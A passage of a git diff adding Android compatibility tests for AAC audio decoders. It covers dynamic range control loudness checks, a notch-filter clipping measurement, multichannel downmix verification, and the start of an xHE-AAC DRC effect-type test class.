+     * @param decParams the audio parameters of the given audio samples (decSamples)
+     * @param sineFrequency frequency of the test signal tone used for testing
+     * @throws RuntimeException
+     */
+    private void checkClipping(short[] decSamples, AudioParameter decParams, float sineFrequency)
+            throws RuntimeException
+    {
+        final double threshold_clipping = -60.0; // dB
+        final int numChannels = decParams.getNumChannels();
+        final int startSample = 2 * 2048 * numChannels;          // exclude signal on- & offset to
+        final int stopSample = decSamples.length - startSample;  // ... measure only the stationary
+                                                                 // ... sine tone
+        // get full energy of signal (all channels)
+        double nrgFull = getEnergy(decSamples, startSample, stopSample);
+
+        // create notch filter to suppress sine-tone at 248 Hz
+        Biquad filter = new Biquad(sineFrequency, decParams.getSamplingRate());
+        for (int channel = 0; channel < numChannels; channel++) {
+            // apply notch-filter on buffer for each channel to filter out the sine tone.
+            // only the harmonics (and noise) remain. */
+            filter.apply(decSamples, channel, numChannels);
+        }
+
+        // get energy of harmonic distortion (signal without sine-tone)
+        double nrgHd = getEnergy(decSamples, startSample, stopSample);
+
+        // Total Harmonic Distortion + Noise, defined here as harmonic distortion (+ noise) RMS
+        // over full signal RMS, given in dB
+        double THDplusN = 10 * Math.log10(nrgHd / nrgFull);
+        assertTrue("signal has clipping samples", THDplusN <= threshold_clipping);
+    }
+
+    /**
+     * Measure the energy of a given signal over all channels within a given signal range.
+     * @param signal audio signal samples
+     * @param start start offset of the measuring range
+     * @param stop stop sample which is the last sample of the measuring range
+     * @return the signal energy in the given range
+     */
+    private double getEnergy(short[] signal, int start, int stop) {
+        double nrg = 0.0;
+        for (int sample = start; sample < stop; sample++) {
+            double v = signal[sample];
+            nrg += v * v;
+        }
+        return nrg;
+    }
+
+    // Notch filter implementation
+    private class Biquad {
+        // filter coefficients for biquad filter (2nd order IIR filter)
+        float[] a;
+        float[] b;
+        // filter states
+        float[] state_ff;
+        float[] state_fb;
+
+        protected float alpha = 0.95f;
+
+        public Biquad(float f_notch, float f_s) {
+            // Create filter coefficients of notch filter which suppresses a sine tone with f_notch
+            // Hz at sampling frequency f_s. Zeros placed at unit circle at f_notch, poles placed
+            // nearby the unit circle at f_notch.
+            state_ff = new float[2];
+            state_fb = new float[2];
+            state_ff[0] = state_ff[1] = state_fb[0] = state_fb[1] = 0.0f;
+
+            a = new float[3];
+            b = new float[3];
+            double omega = 2.0 * Math.PI * f_notch / f_s;
+            a[0] = b[0] = b[2] = 1.0f;
+            a[1] = -2.0f * alpha * (float)Math.cos(omega);
+            a[2] = alpha * alpha;
+            b[1] = -2.0f * (float)Math.cos(omega);
+        }
+
+        public void apply(short[] signal, int offset, int stride) {
+            // reset states
+            state_ff[0] = state_ff[1] = 0.0f;
+            state_fb[0] = state_fb[1] = 0.0f;
+            // process 2nd order IIR filter in Direct Form I
+            float x_0, x_1, x_2, y_0, y_1, y_2;
+            x_2 = state_ff[0];  // x[n-2]
+            x_1 = state_ff[1];  // x[n-1]
+            y_2 = state_fb[0];  // y[n-2]
+            y_1 = state_fb[1];  // y[n-1]
+            for (int sample = offset; sample < signal.length; sample += stride) {
+                x_0 = signal[sample];
+                y_0 = b[0] * x_0 + b[1] * x_1 + b[2] * x_2
+                        - a[1] * y_1 - a[2] * y_2;
+                x_2 = x_1;
+                x_1 = x_0;
+                y_2 = y_1;
+                y_1 = y_0;
+                signal[sample] = (short)y_0;
+            }
+            state_ff[0] = x_2;  // next x[n-2]
+            state_ff[1] = x_1;  // next x[n-1]
+            state_fb[0] = y_2;  // next y[n-2]
+            state_fb[1] = y_1;  // next y[n-1]
+        }
+    }
+
+    /**
+     * USAC test DRC loudness
+     */
+    private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
+            String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
+
+            short[] decSamples_def = decodeToMemory(decParams,
+                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
+                    -1, null, drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams,
+                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
+                    -1, null, drcParams_test, decoderName, runtimeChange);
+
+            DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
+            float[] nrg_def  = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+            float[] nrg_test = decTesterXheAac.checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+            float[] nrgThreshold = {2602510595620.0f, 2354652443657.0f};
+
+            // Check default loudness behavior
+            if (nrg_def[0] > nrgThreshold[0] || nrg_def[0] < nrgThreshold[1]) {
+                throw new Exception("Default loudness behavior not as expected");
+            }
+
+            float nrgRatio = nrg_def[0]/nrg_test[0];
+
+            // Check for loudness boost/attenuation if decoderTargetLevel deviates from default value
+            // used in these tests (note that the default target level can change from platform
+            // to platform, or device to device)
+            if (decoderTargetLevel != -1) {
+                if ((decoderTargetLevel < DEFAULT_DECODER_TARGET_LEVEL) // boosted loudness
+                        && (nrg_def[0] > nrg_test[0])) {
+                    throw new Exception("Signal not attenuated");
+                }
+                if ((decoderTargetLevel > DEFAULT_DECODER_TARGET_LEVEL) // attenuated loudness
+                        && (nrg_def[0] < nrg_test[0])) {
+                    throw new Exception("Signal not boosted");
+                }
+            }
+            nrgRatio = nrgRatio * normFactor;
+
+            // Check whether loudness behavior is as expected
+            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+                throw new Exception("Loudness behavior not as expected");
+            }
+        }
+    }
+
+    /**
+    * AAC test Output Loudness
+    */
+    private void checkAacDrcOutputLoudness(int testInput, int decoderTargetLevel, int expectedOutputLoudness, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
+
+            // Check drc loudness preference
+            short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null,
+                    drcParams_test, decoderName, runtimeChange, expectedOutputLoudness);
+        }
+    }
+
+
+    /**
+     *  Class handling all MPEG-4 and MPEG-D Dynamic Range Control (DRC) parameter relevant
+     *  for testing
+     */
+    protected static class DrcParams {
+        int mBoost;                          // scaling of boosting gains
+        int mCut;                            // scaling of compressing gains
+        int mDecoderTargetLevel;             // desired target output level (for normalization)
+        int mHeavy;                          // en-/disable heavy compression
+        int mEffectType;                     // MPEG-D DRC Effect Type
+        int mAlbumMode;                      // MPEG-D DRC Album Mode
+
+        public DrcParams() {
+            mBoost = 127;               // no scaling
+            mCut   = 127;               // no scaling
+            mHeavy = 1;                 // enabled
+        }
+
+        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy) {
+            mBoost = boost;
+            mCut = cut;
+            mDecoderTargetLevel = decoderTargetLevel;
+            mHeavy = heavy;
+        }
+
+        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType) {
+            this(boost, cut, decoderTargetLevel, heavy);
+            mEffectType = effectType;
+        }
+
+        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType,
+                int albumMode) {
+            this(boost, cut, decoderTargetLevel, heavy, effectType);
+            mAlbumMode = albumMode;
+        }
+    }
+
+
+    // TODO: code is the same as in DecoderTest, differences are:
+    //          - addition of application of DRC parameters
+    //          - no need/use of resetMode, configMode
+    //       Split method so code can be shared
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
+            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
+            int expectedOutputLoudness)
+            throws IOException
+    {
+        String localTag = TAG + "#decodeToMemory";
+        short [] decoded = new short[0];
+        int decodedIdx = 0;
+
+        AssetFileDescriptor testFd = mResources.openRawResourceFd(testinput);
+
+        MediaExtractor extractor;
+        MediaCodec codec;
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaFormat configFormat = format;
+        if (decoderName == null) {
+            codec = MediaCodec.createDecoderByType(mime);
+        } else {
+            codec = MediaCodec.createByCodecName(decoderName);
+        }
+
+        // set DRC parameters
+        if (drcParams != null) {
+            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
+            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
+            if (!runtimeChange) {
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
+            }
+            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
+        }
+        Log.v(localTag, "configuring with " + configFormat);
+        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
+            if(!runtimeChange) {
+                // check if MediaCodec gives back correct drc parameters
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                        fail("DRC Target Ref Level received from MediaCodec is not the level set");
+                    }
+                }
+            }
+        }
+
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+
+        if (drcParams != null) {
+            if (runtimeChange) {
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    Bundle b = new Bundle();
+                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                    codec.setParameters(b);
+                }
+            }
+        }
+
+        extractor.selectTrack(0);
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                        extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0 && eossample > 0) {
+                        fail("test is broken: never reached eos sample");
+                    }
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        if (samplecounter == eossample) {
+                            sawInputEOS = true;
+                        }
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+                    codec.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
+
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                    if (timestamps != null) {
+                        timestamps.add(info.presentationTimeUs);
+                    }
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat oformat = codec.getOutputFormat();
+                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.d(TAG, "output format has changed to " + oformat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputing data");
+        }
+
+        // check if MediaCodec gives back correct drc parameters (R and above)
+        if (drcParams != null && sIsAndroidRAndAbove) {
+            if (drcParams.mDecoderTargetLevel != 0) {
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                    fail("DRC Target Ref Level received from MediaCodec is not the level set");
+                }
+            }
+
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
+        }
+
+        // expectedOutputLoudness == -2 indicates that output loudness is not tested
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            if (outputLoudnessFromCodec != expectedOutputLoudness) {
+                fail("Received decoder output loudness is not the expected value");
+            }
+        }
+
+        codec.stop();
+        codec.release();
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, false, -2);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+            boolean runtimeChange)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, runtimeChange, -2);
+        return decoded;
+    }
+
+}
+
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
new file mode 100644
index 0000000..7bb5b47
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.media.decoder.cts.DecoderTest.AudioParameter;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.Preconditions;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class DecoderTestAacFormat {
+    private static final String TAG = "DecoderTestAacFormat";
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    @Before
+    public void setUp() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(inst);
+    }
+
+    /**
+     * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
+     */
+    @Test
+    public void testHeAacM4aMultichannelDownmix() throws Exception {
+        Log.i(TAG, "START testDecodeHeAacMcM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "M-chan downmix fixed in Android R"))
+            return;
+
+        // array of multichannel resources with their expected number of channels without downmixing
+        Object [][] samples = {
+                //  {resource, numChannels},
+                {"noise_5ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 5},
+                {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6},
+        };
+        for (Object [] sample: samples) {
+            for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */)) {
+                // verify correct number of channels is observed without downmixing
+                AudioParameter chanParams = new AudioParameter();
+                decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams,
+                        0 /*no downmix*/);
+                assertEquals("Number of channels differs for codec:" + codecName,
+                        sample[1], chanParams.getNumChannels());
+
+                // verify correct number of channels is observed when downmixing to stereo
+                AudioParameter downmixParams = new AudioParameter();
+                decodeUpdateFormat(codecName, (String) sample[0] /* resource */, downmixParams,
+                        2 /*stereo downmix*/);
+                assertEquals("Number of channels differs for codec:" + codecName,
+                        2, downmixParams.getNumChannels());
+
+            }
+        }
+    }
+
+    /**
+     *
+     * @param decoderName
+     * @param testInput
+     * @param audioParams
+     * @param downmixChannelCount 0 if no downmix requested,
+     *                           positive number for number of channels in requested downmix
+     * @throws IOException
+     */
+    private void decodeUpdateFormat(String decoderName, final String testInput,
+            AudioParameter audioParams, int downmixChannelCount)
+            throws IOException
+    {
+        Preconditions.assertTestFileExists(mInpPrefix + testInput);
+        File inpFile = new File(mInpPrefix + testInput);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        AssetFileDescriptor testFd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaCodec decoder;
+        if (decoderName == null) {
+            decoder = MediaCodec.createDecoderByType(mime);
+        } else {
+            decoder = MediaCodec.createByCodecName(decoderName);
+        }
+
+        MediaFormat configFormat = format;
+        if (downmixChannelCount > 0) {
+            configFormat.setInteger(
+                    MediaFormat.KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT, downmixChannelCount);
+        }
+
+        Log.v(TAG, "configuring with " + configFormat);
+        decoder.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        decoder.start();
+        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+
+        extractor.selectTrack(0);
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+        short[] decoded = new short[0];
+        int decodedIdx = 0;
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                            extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = decoder.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat outputFormat = decoder.getOutputFormat();
+                audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.i(TAG, "output format has changed to " + outputFormat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputing data");
+        }
+        decoder.stop();
+        decoder.release();
+        extractor.release();
+    }
+}
+
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestXheAac.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestXheAac.java
new file mode 100644
index 0000000..81d1e71
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestXheAac.java
@@ -0,0 +1,1554 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.decoder.cts.DecoderTest.AudioParameter;
+import android.media.decoder.cts.DecoderTestAacDrc.DrcParams;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.TestUtils;
+import android.os.Build;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+@AppModeFull(reason = "DecoderTest is non-instant")
+@RunWith(JUnit4.class)
+public class DecoderTestXheAac {
+    private static final String TAG = "DecoderTestXheAac";
+
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    private Resources mResources;
+
+    // list of all AAC decoders as enumerated through the MediaCodecList
+    // lazy initialization in setUp()
+    private static ArrayList<String> sAacDecoderNames;
+    private static String defaultAacDecoder = null;
+    @Before
+    public void setUp() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(inst);
+        mResources = inst.getContext().getResources();
+        // build a list of all AAC decoders on which to run the test
+        if (sAacDecoderNames == null) {
+            sAacDecoderNames = initAacDecoderNames();
+        }
+    }
+
+    protected static ArrayList<String> initAacDecoderNames() throws IOException {
+        ArrayList<String> aacDecoderNames = new ArrayList<String>(1);
+        // Default aac decoder (the one that gets created when createDecoderByType with AAC mime
+        // is called) is expected to pass all DRC tests
+        if (defaultAacDecoder != null) {
+            aacDecoderNames.add(defaultAacDecoder);
+        } else {
+            MediaCodec decoder = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
+            aacDecoderNames.add(decoder.getName());
+            defaultAacDecoder = decoder.getName();
+            decoder.release();
+        }
+        // Add all decoders that advertise support for AACObjectXHE profile as decoders that
+        // support xHE-AAC profile are expected to support DRC
+        MediaFormat format = MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000,
+                2);
+        // Set both KEY_AAC_PROFILE and KEY_PROFILE as some codecs may only recognize one of
+        // these two keys
+        format.setInteger(MediaFormat.KEY_AAC_PROFILE,
+                MediaCodecInfo.CodecProfileLevel.AACObjectXHE);
+        format.setInteger(MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.AACObjectXHE);
+
+        final MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        final MediaCodecInfo[] mediaCodecInfos = mediaCodecList.getCodecInfos();
+        for (MediaCodecInfo mediaCodecInfo : mediaCodecInfos) {
+            if (mediaCodecInfo.isAlias()) {
+                continue;
+            }
+            if (mediaCodecInfo.isEncoder()) {
+                continue;
+            }
+            final String codecName = mediaCodecInfo.getName();
+            final String[] mimeTypes = mediaCodecInfo.getSupportedTypes();
+            for (String mimeType : mimeTypes) {
+                if (MediaFormat.MIMETYPE_AUDIO_AAC.equalsIgnoreCase(mimeType)) {
+                    MediaCodecInfo.CodecCapabilities caps = mediaCodecInfo.getCapabilitiesForType(
+                            mimeType);
+                    if (caps.isFormatSupported(format)) {
+                        if (!aacDecoderNames.contains(codecName)) {
+                            aacDecoderNames.add(codecName);
+                        }
+                    }
+                    break;
+                }
+            }
+        }
+        return aacDecoderNames;
+    }
+
+    /**
+     * Verify the correct decoding of USAC bitstreams with different MPEG-D DRC effect types.
+     */
+    @Test
+    public void testDecodeUsacDrcEffectTypeM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcEffectTypeM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcEffectTypeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+        // test DRC effectTypeID 1 "NIGHT"
+        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        try {
+            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 2 "NOISY"
+        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+        } catch (Exception e) {
